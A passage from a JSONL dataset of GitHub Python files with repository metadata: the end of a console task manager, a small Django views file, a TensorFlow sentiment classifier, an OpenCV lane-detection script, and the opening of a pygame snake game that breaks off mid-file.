encoding='utf-8')\r\n        task_file.write(content)\r\n        task_file.close()\r\n\r\n    elif edit_choice == 'e':\r\n        task_file = open('tasks.txt', 'r', encoding='utf-8')\r\n        for each_line in task_file:\r\n            if each_line.strip() == '':\r\n                continue\r\n            task_count += 1\r\n            task = each_line.strip().split(', ')\r\n            # If the task number choose by the user which was then passed through function as argument is same as\r\n            # one of the task in the file then we check if it is marked as completed or not to go further\r\n            if task_no == task_count:\r\n\r\n                if task[5] == 'Yes':\r\n                    print(\"Your Task has already been completed. Cannot be edited\")\r\n                    overwrite = False\r\n                    time.sleep(1)\r\n                    break\r\n\r\n                while True:\r\n\r\n                    task_edit = input(f'''\r\n                    What do you want to change :\r\n                    user - Username for the task {task_no}.\r\n                    date - Due date for the task {task_no}.\r\n                    ''').lower()\r\n                    if task_edit == \"user\":\r\n                        edited_user = input(\"\\t\\t\\t\\t\\tEnter new username : \").lower()\r\n                        task[0] = edited_user\r\n\r\n                    elif task_edit == \"date\":\r\n                        edited_date = input(\"\\t\\t\\t\\t\\tEnter the due date to edit Eg, '5 jan 2023' : \").lower()\r\n                        task[4] = edited_date\r\n\r\n                    else:\r\n                        print(\"\\t\\t\\t\\t\\tWrong choice. Enter either 'user' or 'date' to modify\")\r\n                        time.sleep(1)\r\n                        continue\r\n                    reply = input(\"\\t\\t\\t\\t\\tcontinue changing task? Press 'n' to cancel/ any key to continue \").lower()\r\n                    if reply == 'n':\r\n                        content += \", \".join(task) + \"\\n\"\r\n                        break\r\n                    else:\r\n                        continue\r\n            else:\r\n                content += each_line\r\n\r\n        task_file.close()\r\n\r\n        if overwrite:\r\n            task_file = open('tasks.txt', 'w', encoding='utf-8')\r\n            task_file.write(content)\r\n            task_file.close()\r\n\r\n    else:\r\n        print(\"Wrong choice. Enter either 'm' to mark task as complete or 'e' to edit task.\")\r\n        time.sleep(1)\r\n\r\n# This function displays the tasks of logged-in user and allow the user to edit the task. This function takes\r\n# task number as an input from the user and pass it on to edit_task() function as an argument to perform the edit.\r\n\r\n\r\ndef view_mine(login_username):\r\n    back_to_main_menu = False\r\n\r\n    with open('tasks.txt', 'r', encoding='utf-8') as task_file:\r\n\r\n        while True:\r\n            task_no = 0\r\n            task_no_list = []\r\n\r\n            task_file.seek(0)\r\n            for each_line in task_file:\r\n                if each_line.strip() == '':   # check if there is an empty line in tasks.txt\r\n                    continue\r\n                task_no += 1\r\n                task_list = each_line.strip().split(\", \")\r\n\r\n                if task_list[0] == login_username:\r\n                    task_no_list.append(task_no)\r\n                    print(f'''\r\n                    {125 * '-'} \r\n                    Task No             : {task_no}\r\n                    Task                : {task_list[1]}\r\n                    Assigned to         : {task_list[0]}\r\n                    Date Assigned       : {task_list[3]}\r\n                    Due Date            : {task_list[4]}\r\n                    Task Complete       : {task_list[5]}\r\n                    Task Description    :\r\n                    {task_list[2]}\r\n                    {125 * '-'} \r\n                    ''')\r\n            time.sleep(1)\r\n\r\n            while True:\r\n                try:\r\n                    task_no_choice = int(input(f\"Enter a task number {task_no_list} or enter -1 to return to menu : \"))\r\n                    if task_no_choice == -1:\r\n                        back_to_main_menu = True\r\n                        break\r\n\r\n                    if task_no_choice in task_no_list:\r\n                        edit_task(task_no_choice)\r\n                        break\r\n\r\n                    else:\r\n                        print(f\"Wrong choice! Enter only Task {task_no_list}. Try Again\")\r\n                        time.sleep(1)\r\n                        continue\r\n\r\n                except ValueError:\r\n                    print(\"Please enter a valid integer number\")\r\n\r\n            if back_to_main_menu:\r\n                break\r\n\r\n# This function evaluates details of all the tasks and also details of the tasks assign to each user and write them\r\n# to task_overview.txt and user_overview.txt respectively.\r\n\r\n\r\ndef generate_report():\r\n    # variables to hold tasks details for all user\r\n    total_tasks = 0\r\n    completed_tasks = 0\r\n    uncompleted_tasks = 0\r\n    overdue_tasks = 0\r\n    percentage_of_uncompleted = 0.0\r\n    percentage_of_overdue = 0.0\r\n\r\n    # variables to hold tasks details for specific user\r\n    total_users = 0\r\n    all_users = []\r\n    user_dict = {}\r\n\r\n    today = datetime.now()\r\n\r\n    with open('user.txt', 'r', encoding='utf-8') as user_file:\r\n        for each_line in user_file:\r\n            each_user = each_line.strip('\\n').split(', ')\r\n            all_users.append(each_user[0])\r\n\r\n    for username in all_users:\r\n        total_users += 1\r\n\r\n        # Here we create a 2D dictionary where, for every user we initialize the tasks details using key-value pair\r\n        user_dict[username] = {\r\n                                    'total_tasks': 0,\r\n                                    'completed_task': 0,\r\n                                    'uncompleted_task': 0,\r\n                                    'overdue_task': 0,\r\n                                    'task_%': 0.0,\r\n                                    'completed_%': 0.0,\r\n                                    'uncompleted_%': 0.0,\r\n                                    'overdue_%': 0.0,\r\n                                }\r\n\r\n    with open('tasks.txt', 'r', encoding='utf-8') as task_file:\r\n\r\n        for each_line in task_file:\r\n            if each_line.strip() == '':\r\n                continue\r\n            task_list = each_line.strip('\\n').split(', ')\r\n            user = task_list[0]\r\n            task_due_date = datetime.strptime(task_list[4], \"%d %b %Y\")\r\n\r\n            # This section evaluates the details of tasks assigned to all user\r\n            total_tasks += 1\r\n            if task_list[5] == 'No':\r\n                uncompleted_tasks += 1\r\n                if today > task_due_date:\r\n                    overdue_tasks += 1\r\n\r\n            elif task_list[5] == 'Yes':\r\n                completed_tasks += 1\r\n\r\n            # This section evaluates the detail of tasks assigned to each user\r\n            if user in all_users:\r\n                user_dict[user]['total_tasks'] += 1\r\n                if task_list[5] == 'No':\r\n                    user_dict[user]['uncompleted_task'] += 1\r\n                    if today > task_due_date:\r\n                        user_dict[user]['overdue_task'] += 1\r\n\r\n                elif task_list[5] == 'Yes':\r\n                    user_dict[user]['completed_task'] += 1\r\n\r\n    # Preventing division by zero error\r\n    if not uncompleted_tasks == 0:\r\n        percentage_of_uncompleted = round((uncompleted_tasks/total_tasks) * 100, 2)\r\n\r\n    if not overdue_tasks == 0:\r\n        percentage_of_overdue = round((overdue_tasks/total_tasks) * 100, 2)\r\n\r\n    task_o_file = open('task_overview.txt', 'w+', encoding='utf-8')\r\n    task_o_file.write(f'''Total number of Task                                : {total_tasks}\r\nTotal number of Completed tasks                     : {completed_tasks}\r\nTotal number of Uncompleted tasks                   : {uncompleted_tasks}\r\nTotal number of Overdue tasks                       : {overdue_tasks}\r\n% of Task that are incomplete                       : {percentage_of_uncompleted}%\r\n% of Task that are overdue                          : {percentage_of_overdue}%''')\r\n\r\n    user_o_file = open('user_overview.txt', 'w+', encoding='utf-8')\r\n    for user in all_users:\r\n\r\n        user_dict[user]['task_%'] = round((user_dict[user]['total_tasks'] / total_tasks)*100, 2)\r\n\r\n        # This if else statement prevents divide by zero error if no task has been completed\r\n        if not user_dict[user]['completed_task'] == 0:\r\n            user_dict[user]['completed_%'] = round((user_dict[user]['completed_task'] / user_dict[user]['total_tasks']) * 100, 2)\r\n\r\n        if not user_dict[user]['uncompleted_task'] == 0:\r\n            user_dict[user]['uncompleted_%'] = round((user_dict[user]['uncompleted_task'] / user_dict[user]['total_tasks']) * 100, 2)\r\n\r\n        if not user_dict[user]['overdue_task'] == 0:\r\n            user_dict[user]['overdue_%'] = round((user_dict[user]['overdue_task'] / user_dict[user]['total_tasks']) * 100, 2)\r\n\r\n        user_o_file.write(f\"{user}, {total_users}, {total_tasks}, {user_dict[user]['total_tasks']}, {user_dict[user]['task_%']}, {user_dict[user]['completed_%']}, {user_dict[user]['uncompleted_%']}, {user_dict[user]['overdue_%']}\\n\")\r\n\r\n    user_o_file.close()\r\n    print(\"The Report have been generated \")\r\n    time.sleep(1)\r\n\r\n# The function below displays the tasks and users details from task_overview.txt and user_overview.txt files\r\n# generated with 'generate report' option. If the files do not exist then the files are first generated and then the\r\n# details are displayed.\r\n\r\n\r\ndef display_statistics():\r\n    display_once = True\r\n    if not (os.path.exists('user_overview.txt') and os.path.exists('task_overview.txt')):\r\n        generate_report()\r\n\r\n    with open('task_overview.txt', 'r', encoding='utf-8') as task_o_file:\r\n        print(\"\\t\\t\\tTask overview:\")\r\n        print(\"\\t\\t\\t------------- \")\r\n        for each_line in task_o_file:\r\n            print(\"\\t\\t\\t\" + each_line.strip())\r\n    time.sleep(1)\r\n\r\n    with open('user_overview.txt', 'r', encoding='utf-8') as user_o_file:\r\n\r\n        print(\"\\n\\n\\t\\t\\tUser Overview : \")\r\n        print(\"\\t\\t\\t------------- \\n\")\r\n        for each_line in user_o_file:\r\n            details = each_line.strip().split(', ')\r\n\r\n            if display_once:\r\n                print(\"\\t\\t\\tTotal number of users registered                    : \", details[1])\r\n                print(\"\\t\\t\\tTotal number of tasks generated                     : \", details[2])\r\n                display_once = False\r\n\r\n            print(f'''\r\n            User: {details[0]}\r\n            Total tasks assigned to user                        : {details[3]}\r\n            % of total tasks assigned to the user               : {details[4]} %\r\n            % of completed tasks assigned to user               : {details[5]} %\r\n            % of uncompleted tasks assigned to user             : {details[6]} %\r\n            % of overdue tasks assigned to user                 : {details[7]} %\r\n            ''')\r\n    time.sleep(1)\r\n\r\n# This Section of the program provide users with options on what they like to do, which include adding users, assigning\r\n# tasks and viewing the tasks. It also displays extra menu if the logged-in user is an administrator.\r\n\r\n\r\ndef main_menu(administrator, login_username):\r\n    while True:\r\n        print('''\r\n        Select one of the following Options below: \r\n        r -  Registering a user\r\n        a -  Adding a task\r\n        va - View all tasks\r\n        vm - view my task''')\r\n\r\n        if administrator:\r\n            print('''\\t\\tgr - Generate Report\r\n        ds - Display Statistics''')\r\n\r\n        print(\"\\t\\te -  Exit\")\r\n        menu = input().lower()\r\n\r\n    # If choice of user is 'r', then user is asked to create a username and password and confirm password. This section\r\n    # of program then write the credential of the user to a file if both the passwords entered are same. The program\r\n    # also checks if the user that is logged-in is 'admin' by the use of boolean flag administrator.\r\n\r\n        if menu == 'r':\r\n            if administrator:\r\n                reg_user()\r\n            else:\r\n                print(\"You do not have permission to register a user \")\r\n                time.sleep(1)\r\n\r\n    # If user chooses 'a', then user is ask to assign a task to users. The task along with its details are then written\r\n    # into the tasks.txt files on a new line.\r\n\r\n        elif menu == 'a':\r\n            add_task()\r\n\r\n    # The next two options i.e, 'va' and 'vm' allow the user view all the tasks and view only their task respectively.\r\n    # The tasks are read from the tasks.txt file and displayed in user-friendly output.\r\n\r\n        elif menu == 'va':\r\n            view_all()\r\n\r\n        elif menu == 'vm':\r\n            view_mine(login_username)\r\n\r\n        elif menu == 'gr':\r\n            generate_report()\r\n\r\n        elif menu == 'ds':\r\n            display_statistics()\r\n\r\n    # This options allows the user to exit the program\r\n        elif menu == 'e':\r\n            print(\"GoodBye!!!\")\r\n            exit()\r\n\r\n    # Finally this options the program to check for invalid input from the user\r\n        else:\r\n            print(\"You have made a wrong choice. Please Try again\")\r\n            time.sleep(1)\r\n\r\n\r\n# This section of the program asks and checks for user credential until user enters a correct credential.Here the\r\n# program loops through each and every line of user.txt file to fetch and match the 'username' and 'password' before\r\n# continuing to next section of the program.we also check if the user is logged-in as admin and change the boolean\r\n# value of administrator to true if it is the case.\r\n\r\n\r\ndef login_page():\r\n\r\n    check_pass = False  # Boolean to check if credential match and exit while loop\r\n    administrator = False  # Boolean to check if user is admin\r\n\r\n    while True:\r\n        login_username = input(\"Username : \")\r\n        login_password = input(\"Password : \")\r\n        with open('user.txt', 'r+', encoding='utf-8') as user_file_handle:\r\n\r\n            # Go through each and every line to get username and password combination\r\n            for line in user_file_handle:\r\n                user_list = line.split(\", \")\r\n\r\n                # If the username and password matches stop further check by breaking the for loop. Here we also remove\r\n                # the newline character from the end of the line.\r\n                if login_username == user_list[0] and login_password == user_list[1].strip(\"\\n\"):\r\n                    print(\"Password Matched ! \\n\")\r\n                    check_pass = True\r\n                    if login_username == 'admin':\r\n                        administrator = True\r\n                    time.sleep(1)\r\n                    break\r\n\r\n        # Also if the username and password is match break the while loop of login screen to enter the main program.\r\n        if check_pass:\r\n            main_menu(administrator, login_username)\r\n        print(\"Invalid Username or Password. Try again !\")\r\n        time.sleep(1)\r\n\r\n\r\n# This is the start point of the program. All other functionality has been wrapped into a function modules\r\nlogin_page()\r\n","repo_name":"4rr0wh34d/Task_Manager","sub_path":"task_manager.py","file_name":"task_manager.py","file_ext":"py","file_size_in_byte":19420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13496131494","text":"from django.shortcuts import render\nfrom django.views import View\nfrom django import http\n\n# Create your views here.\nclass IndexView(View):\n    # 首页广告\n    def get(self, request):\n        return render(request, 'index.html')\n\nclass VersionView(View):\n    # 返回版本号\n    def get(self, request):\n        \"\"\"\n        :return: JSON\n        \"\"\"\n        # 实现业务逻辑，使用username查询对应记录的条数。\n        version = \"CI_COMMIT_TAG\"\n        # 响应结果\n        return http.JsonResponse({'version': version})\n","repo_name":"Ringo-li/meiduo","sub_path":"meiduo_mall/meiduo_mall/apps/contents/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"357937580","text":"import nltk\nimport math\nimport numpy as np\nimport pickle\nimport random\nimport tensorflow as tf\n\nfrom collections import Counter\nfrom nltk.tokenize import word_tokenize\nfrom nltk.stem import WordNetLemmatizer\nfrom sklearn.model_selection import train_test_split\n\n\nclass SentimentCNNClassifier():\n\n    def __init__(self, lb=30, ub=1000, a_func=tf.nn.relu, test_size=0.2):\n        self.lemmatizer = WordNetLemmatizer()\n        self.ub = ub\n        self.lb = lb\n        self.test_size = test_size\n        self.a_func = a_func\n        \n    def create_lexicon(self, text_docs):\n        all_words = []\n        for doc in text_docs:\n            all_words += word_tokenize(doc)\n            \n        lemmatized_words = [self.lemmatizer.lemmatize(w.lower()) for w in all_words]\n        word_dist = nltk.FreqDist(lemmatized_words)\n        lexicon = set(lemmatized_words)\n\n        # Remove common words\n        lexicon = [w for w in lexicon if self.lb < word_dist[w] < self.ub]\n\n        return lexicon\n\n    def process_features_and_labels(self, documents):\n        # Return from pickle file if one exists\n        try:\n            with open('pickled_files/docs_x_y.pickle', 'rb') as file:\n                [X, y] = pickle.load(file)\n\n            return X, y\n        except FileNotFoundError:\n            pass\n        \n        # Create lexicon\n        text_samples = [d[0] for d in documents]\n        lexicon = self.create_lexicon(text_samples)\n\n        # Create feature set\n        X = []\n        y = []\n        # feature_set = []\n        for doc in documents:\n            features = np.zeros(len(lexicon))\n\n            words = word_tokenize(doc[0])\n            lemmatized_words = [self.lemmatizer.lemmatize(w.lower()) for w in words]\n\n            for w in lemmatized_words:\n                if w in lexicon:\n                    features[lexicon.index(w)] += 1\n\n            # feature_set.append([features, doc[1]])\n            X.append(features)\n            y.append(doc[1])\n\n        # Write X and y variables to pickle\n        with open('pickled_files/docs_x_y.pickle', 'wb') as file:\n            pickle.dump([X, y], file)\n\n        return X, y\n\n    def neural_network_model(self, data, input_nodes, hl_nodes, num_classes):\n        hl_weights = []\n        a_values = []\n        for i, hl_n in enumerate(hl_nodes):\n            dim1 = hl_nodes[i - 1] if i > 0 else input_nodes\n            dim2 = hl_n\n\n            hl_weights.append({\n                'weights': tf.Variable(tf.random_normal([dim1, dim2])),\n                'biases': tf.Variable(tf.random_normal([dim2]))\n            })\n\n            x = a_values[i - 1] if i > 0 else data\n\n            a = tf.matmul(x, hl_weights[i]['weights']) + hl_weights[i]['biases']\n            a_values.append(self.a_func(a))\n\n        out_weights = {'weights': tf.Variable(tf.random_normal([hl_nodes[-1], num_classes])),\n                         'biases': tf.Variable(tf.random_normal([num_classes]))}\n\n        output = tf.matmul(a_values[-1], out_weights['weights']) + out_weights['biases']\n\n        self.nn_model = output\n        return output\n\n    def train_neural_network(self, documents, hl_nodes, num_classes, hm_epochs=10, batch_size=100):\n        # Process and split data\n        X, y = self.process_features_and_labels(documents)\n        X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=self.test_size)\n        print('Data processing complete')\n\n        # Set x and y placeholders\n        input_nodes = len(X_train[0])\n        x = tf.placeholder('float', [None, input_nodes])\n        y = tf.placeholder('float')\n\n        # Set cost function\n        prediction = self.neural_network_model(x, input_nodes, hl_nodes, num_classes)\n        cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=prediction, labels=y))\n        optimizer = tf.train.AdamOptimizer().minimize(cost)\n\n        # Run tensorflow session\n        with tf.Session() as sess:\n            sess.run(tf.global_variables_initializer())\n\n            for epoch in range(hm_epochs):\n                epoch_loss = 0\n\n                for i in range(math.ceil(len(X_train)/batch_size)):\n                    ub = min(i*batch_size + batch_size - 1, len(documents) - 1)\n                    X_epoch = X_train[i*batch_size:ub]\n                    y_epoch = y_train[i*batch_size:ub]\n    \n                    _, c = sess.run([optimizer, cost], feed_dict={x: X_epoch, y: y_epoch})\n                    epoch_loss += c\n\n                print('Epoch ', epoch, ' completed out of ', hm_epochs, '; Loss: ', epoch_loss)\n\n            correct = tf.equal(tf.argmax(prediction, 1), tf.argmax(y, 1))\n            accuracy = tf.reduce_mean(tf.cast(correct, 'float'))\n            print('Accuracy: ', accuracy.eval({x: X_test, y: y_test}))\n\n        \n# Neural network model parameters\nhl_nodes = [300, 300, 300]\nnum_classes = 2\n\npos_file = open('short_reviews/positive.txt', 'r', encoding='latin-1').read()\nneg_file = open('short_reviews/negative.txt', 'r', encoding='latin-1').read()\nreviews = [(r, [1, 0]) for r in pos_file.split('\\n')] + [(r, [0, 1]) for r in neg_file.split('\\n')]\n\nclassifier = SentimentCNNClassifier(test_size=0.2)\nclassifier.train_neural_network(reviews, hl_nodes, num_classes, batch_size=100)\n\n\n","repo_name":"dkirel/NeuralNetworks","sub_path":"sentiment_cnn_classifier.py","file_name":"sentiment_cnn_classifier.py","file_ext":"py","file_size_in_byte":5211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4360350799","text":"from typing import Dict, List, Optional, Tuple\n\nimport logging\nimport torch\nimport itertools\n\nimport numpy as np\n\nfrom allennlp.training.metrics.metric import Metric\n\nlogger = logging.getLogger(__name__)\n\nclass SpanIdenficationMetric(Metric):\n    def __init__(self) -> None:\n        self._s_cardinality = 0  #  S: model predicted spans\n        self._t_cardinality = 0  # T: article gold spans\n        self._s_sum = 0\n        self._t_sum = 0\n\n    def reset(self) -> None:\n        self._s_cardinality = 0\n        self._t_cardinality = 0\n        self._s_sum = 0\n        self._t_sum = 0\n\n    def __call__(\n        self,\n        prop_spans: torch.Tensor, \n        gold_spans: torch.Tensor, \n        mask: Optional[torch.BoolTensor] = None\n    ) -> None:\n\n        prop_spans, gold_spans, mask = self.detach_tensors(prop_spans, gold_spans, mask)\n\n        for i in range(prop_spans.size(dim=0)):\n            article_spans = prop_spans[i].tolist()\n            article_gold_spans = gold_spans[i].tolist()\n\n            self._t_cardinality += len(article_gold_spans)\n            if len(article_spans) == 0:\n                continue\n            merged_prop_spans = self._merge_spans(article_spans)\n            self._s_cardinality += len(merged_prop_spans)\n\n            for combination in itertools.product(merged_prop_spans, article_gold_spans):\n                sspan = combination[0]\n                tspan = combination[1]\n                self._s_sum += self._c_function(sspan, tspan, sspan[1] - sspan[0] + 1)\n                self._t_sum += self._c_function(sspan, tspan, tspan[1] - tspan[0] + 1)\n\n    def get_metric(\n        self, \n        reset: bool = False\n    ) -> Dict[str, int]:\n        precision = 0\n        recall = 0\n        if self._s_cardinality != 0:\n            precision = self._s_sum / self._s_cardinality\n        if self._t_cardinality != 0:\n            recall = self._t_sum / self._t_cardinality\n\n        if reset:\n            self.reset()\n        return {\n            \"si-metric\": (2 * precision * recall) / (precision + recall) if precision + recall > 0 else 0,\n            \"precision\": precision,\n            \"recall\": recall\n        }\n\n    def _c_function(\n        self, \n        s: Tuple[int, int], \n        t: Tuple[int, int], \n        h: int\n    ) -> int:\n        \"\"\"\n        Compute C(s,t,h)\n        :param s: predicted span \n        :param t: gold span\n        :param h: normalizing factor\n        :return: value of the function for the given parameters\n        \"\"\"\n        intersection = self._intersect(s, t)\n        return intersection / h if intersection > 0 else 0\n\n    def _intersect(\n        self, \n        s: Tuple[int, int], \n        t: Tuple[int, int]\n    ) -> int:\n        \"\"\"\n        Intersect two spans.\n        :param s: first span\n        :param t: second span\n        :return: # of intersecting words between the spans, if < 0 represent the distance between spans, \n                 if = 0 the two words are neighbors\n        \"\"\"\n        start = max(s[0], t[0])\n        end = min(s[1], t[1])\n        return end - start + 1\n\n    def _merge_spans(\n        self, \n        spans: List[List[int]]\n    ) -> List[Tuple[int, int]]:\n        \"\"\"\n        Merge overlapping spans in the given span tensor.\n        :param prop_spans: spans to be merged\n        :return: tensor contained only non-overlapping spans\n        \"\"\"\n        sorted_spans = sorted(spans, key=lambda l: l[0])\n        # For each span in the sorted list, check for intersection with rightmost span analyzed\n        merged_spans = [sorted_spans[0]]\n        for span in sorted_spans[1:]:\n            # If the current interval does not overlap with the stack top, push it\n            if span[0] > merged_spans[-1][1]:\n                merged_spans.append((span[0], span[1]))\n            # If the current interval overlaps with stack top and ending time of current interval is more than that of stack top, \n            # update stack top with the ending time of current interval\n            elif span[1] >  merged_spans[-1][1]:\n                merged_spans[-1] = (merged_spans[-1][0], span[1])\n        return merged_spans\n","repo_name":"andreakiro/nlpropaganda","sub_path":"src/si/si_metric.py","file_name":"si_metric.py","file_ext":"py","file_size_in_byte":4108,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"13914442749","text":"import os\nimport re\nimport cv2\nimport numpy as np\nfrom tqdm import notebook\nimport matplotlib.pyplot as plt\n\n# get file names of frames\ncol_frames = os.listdir('frames/')\ncol_frames.sort(key=lambda f: int(re.sub('\\D', '', f)))\n\n# load frames\ncol_images=[]\nfor i in notebook.tqdm(col_frames):\n    img = cv2.imread('frames/'+i)\n    col_images.append(img)\n\n\n\n# specify frame index\nidx = 457\n\n# plot frame\nplt.figure(figsize=(10,10))\nplt.imshow(col_images[idx][:,:,0], cmap= \"gray\")\nplt.show()\n\n\n\n# create a zero array\nstencil = np.zeros_like(col_images[idx][:,:,0])\n\n# specify coordinates of the polygon\npolygon = np.array([[50,270], [220,160], [360,160], [480,270]])\n\n# fill polygon with ones\ncv2.fillConvexPoly(stencil, polygon, 1)\n\n\n\n# plot polygon\nplt.figure(figsize=(10,10))\nplt.imshow(stencil, cmap= \"gray\")\nplt.show()\n\n\n\n# apply polygon as a mask on the frame\nimg = cv2.bitwise_and(col_images[idx][:,:,0], col_images[idx][:,:,0], mask=stencil)\n\n# plot masked frame\nplt.figure(figsize=(10,10))\nplt.imshow(img, cmap= \"gray\")\nplt.show()\n\n\n# apply image thresholding\nret, thresh = cv2.threshold(img, 130, 145, cv2.THRESH_BINARY)\n\n# plot image\nplt.figure(figsize=(10,10))\nplt.imshow(thresh, cmap= \"gray\")\nplt.show()\n\n\n\n\nlines = cv2.HoughLinesP(thresh, 1, np.pi/180, 30, maxLineGap=200)\n\n# create a copy of the original frame\ndmy = col_images[idx][:,:,0].copy()\n\n# draw Hough lines\nfor line in lines:\n  x1, y1, x2, y2 = line[0]\n  cv2.line(dmy, (x1, y1), (x2, y2), (255, 0, 0), 3)\n\n# plot frame\nplt.figure(figsize=(10,10))\nplt.imshow(dmy, cmap= \"gray\")\nplt.show()\n\n\n\ncnt = 0\n\nfor img in notebook.tqdm(col_images):\n\n  # apply frame mask\n  masked = cv2.bitwise_and(img[:,:,0], img[:,:,0], mask=stencil)\n\n  # apply image thresholding\n  ret, thresh = cv2.threshold(masked, 130, 145, cv2.THRESH_BINARY)\n\n  # apply Hough Line Transformation\n  lines = cv2.HoughLinesP(thresh, 1, np.pi/180, 30, maxLineGap=200)\n  dmy = img.copy()\n\n  # Plot detected lines\n  try:\n    for line in lines:\n      x1, y1, x2, y2 = line[0]\n      cv2.line(dmy, (x1, y1), (x2, y2), (255, 0, 0), 3)\n\n    cv2.imwrite('detected/'+str(cnt)+'.png',dmy)\n  except TypeError:\n    cv2.imwrite('detected/'+str(cnt)+'.png',img)\n\n  cnt+= 1\n\n# input frames path\npathIn= 'detected/'\n\n# output path to save the video\npathOut = 'roads_v2.mp4'\n\n# specify frames per second\nfps = 30.0\n\n\n\nfrom os.path import isfile, join\n\n# get file names of the frames\nfiles = [f for f in os.listdir(pathIn) if isfile(join(pathIn, f))]\nfiles.sort(key=lambda f: int(re.sub('\\D', '', f)))\n\n\n\n\nframe_list = []\n\nfor i in notebook.tqdm(range(len(files))):\n    filename=pathIn + files[i]\n    #reading each files\n    img = cv2.imread(filename)\n    height, width, layers = img.shape\n    size = (width,height)\n\n    #inserting the frames into an image array\n    frame_list.append(img)\n\n\n# write the video\nout = cv2.VideoWriter(pathOut,cv2.VideoWriter_fourcc(*'DIVX'), fps, size)\n\nfor i in range(len(frame_list)):\n    # writing to a image array\n    out.write(frame_list[i])\n\nout.release()\n","repo_name":"RiceEV/rev-autonomous","sub_path":"archive/fall2021/basic_lane_detect/lanedetectiontest.py","file_name":"lanedetectiontest.py","file_ext":"py","file_size_in_byte":3007,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"20543627525","text":"# -*- coding: cp1252 -*-\r\nimport pygame\r\nimport pyganim\r\nimport os\r\n# import time\r\nimport random\r\n# import health\r\n\r\npygame.init()\r\n\r\nimages_path = os.getcwd() + \"/images/\"\r\n\r\n# Setting the display width and height\r\ndisplay_width = 800\r\ndisplay_height = 600\r\ngameDisplay = pygame.display.set_mode((display_width,display_height))\r\npygame.display.set_caption('Ejo')\r\n\r\n\r\n# colours\r\nwhite = (255, 255, 255)\r\nblack = (0, 0, 0)\r\ngrey = (220, 220, 220)\r\nred = (200, 0, 0)\r\nlight_red = (255, 20, 20)\r\ngreen = (0, 140, 0)\r\nlight_green = (0, 240, 0)\r\nyellow = (255, 255, 128)\r\nlight_yellow = (255, 255, 228)\r\n\r\n# loading the animations\r\ngame_overAnim = pyganim.PygAnimation([(images_path + 'game_over2.png', 150), (images_path + 'game_over3.png', 100)])\r\nbonusAnim = pyganim.PygAnimation([(images_path+'bonus_text1.png', 150), (images_path+'bonus_text2.png', 100)])\r\n\r\n# loading the images\r\nicon = pygame.image.load(images_path + 'snake_head.png')\r\nimg = pygame.image.load(images_path+'snake.png')\r\neba = pygame.image.load(images_path+'eba2.png')\r\nbgd = pygame.image.load(images_path+'bgd.png')\r\nsnakeBody = pygame.image.load(images_path+'body.png')\r\nwelcome_screen = pygame.image.load(images_path+'welcome.png')\r\ngame_over_face = pygame.image.load(images_path+'face005.png')\r\nskin = pygame.image.load(images_path+'skin.png')\r\nbgdside = pygame.image.load(images_path+'bgd_side.png')\r\n\r\n# setting the game icon to the snake head\r\npygame.display.set_icon(icon)\r\n\r\n# initializing the timing functionality and some standard variables\r\nclock = pygame.time.Clock()\r\nAppleThickness = 30\r\nblock_size = 20\r\nFPS = 30\r\ndirection = 'right'\r\n\r\n# Loading the fonts to be used\r\nextra_small_font = pygame.font.Font(r'fonts/comicsans.ttf', 15)\r\nsmall_font = pygame.font.Font(r'fonts/comicsans.ttf', 20)\r\n# small2font = pygame.font.Font(r'C:\\Users\\Ope O\\Downloads\\Fonts\\eyelevation6.ttf', 40)\r\nsmall2font = pygame.font.Font(r'fonts/comicsans.ttf', 40)\r\nmed_font = pygame.font.Font(r'fonts/comicsans.ttf', 50)\r\n# med_fontButton = pygame.font.Font(r'C:\\Users\\Ope O\\Downloads\\Fonts\\eyelevation6.ttf', 50)\r\nmed_fontButton = pygame.font.Font(r'fonts/comicsans.ttf', 50)\r\n# med_fontButton2 = pygame.font.Font(r'C:\\Users\\Ope O\\Downloads\\Fonts\\eyelevation6.ttf', 80)\r\nmed_fontButton2 = pygame.font.Font(r'fonts/comicsans.ttf', 80)\r\nlarge_font = pygame.font.Font(r'fonts/comicsans.ttf', 80)\r\n# rendering the font for the copyright display at the bottom.\r\nsign = extra_small_font.render('copyright 2019.', True, white)\r\n\r\n\r\ndef message_to_screen(msg, color, y_displace=0, x_displace=0, size=\"small\", font=None, font_size=None):\r\n    \"\"\"\r\n    :param msg:\r\n    :param color:\r\n    :param y_displace:\r\n    :param x_displace:\r\n    :param size:\r\n    :param font:\r\n    :param font_size:\r\n    :return:\r\n    \"\"\"\r\n    text_surf, text_rect = text_objects(msg, color, size, font, font_size)\r\n    text_rect.center = (display_width / 2)+x_displace, (display_height /2)+y_displace\r\n    # flashSurf = pygame.Surface((text_surf.get_width(), text_surf.get_height()))\r\n    # flashSurf = flashSurf.convert_alpha()\r\n\r\n    gameDisplay.blit(text_surf, text_rect)\r\n    # origSurf = text_surf.copy()\r\n\r\n\r\ndef pause():\r\n\r\n    paused = True\r\n    message_to_screen('Paused', black, -100, size='large')\r\n    message_to_screen('Press C to continue or Q to quit.', black, 25)\r\n\r\n    while paused:\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:\r\n                pygame.quit()\r\n                quit()\r\n\r\n            if event.type == pygame.KEYDOWN:\r\n                if event.key == pygame.K_c:\r\n                    paused = False\r\n                elif event.key == pygame.K_q:\r\n                    pygame.quit()\r\n                    quit()\r\n        \r\n        pygame.display.update()\r\n        clock.tick(5)\r\n\r\n\r\ndef score_update(score):\r\n    \"\"\"\r\n    :param score:\r\n    :return:\r\n    \"\"\"\r\n    text = small_font.render('Score: ' + str(score), True, white)\r\n    gameDisplay.blit(text, [display_width - 765,20])\r\n\r\n\r\ndef game_controls():\r\n    \"\"\"\r\n    :return:\r\n    \"\"\"\r\n\r\n    gcont = True\r\n\r\n    while gcont:\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:\r\n                pygame.quit()\r\n                quit()\r\n                    \r\n        gameDisplay.fill(white)\r\n        # message_to_screen(msg,\r\n        #                   color,\r\n        #                 y_displace=0,\r\n        #                   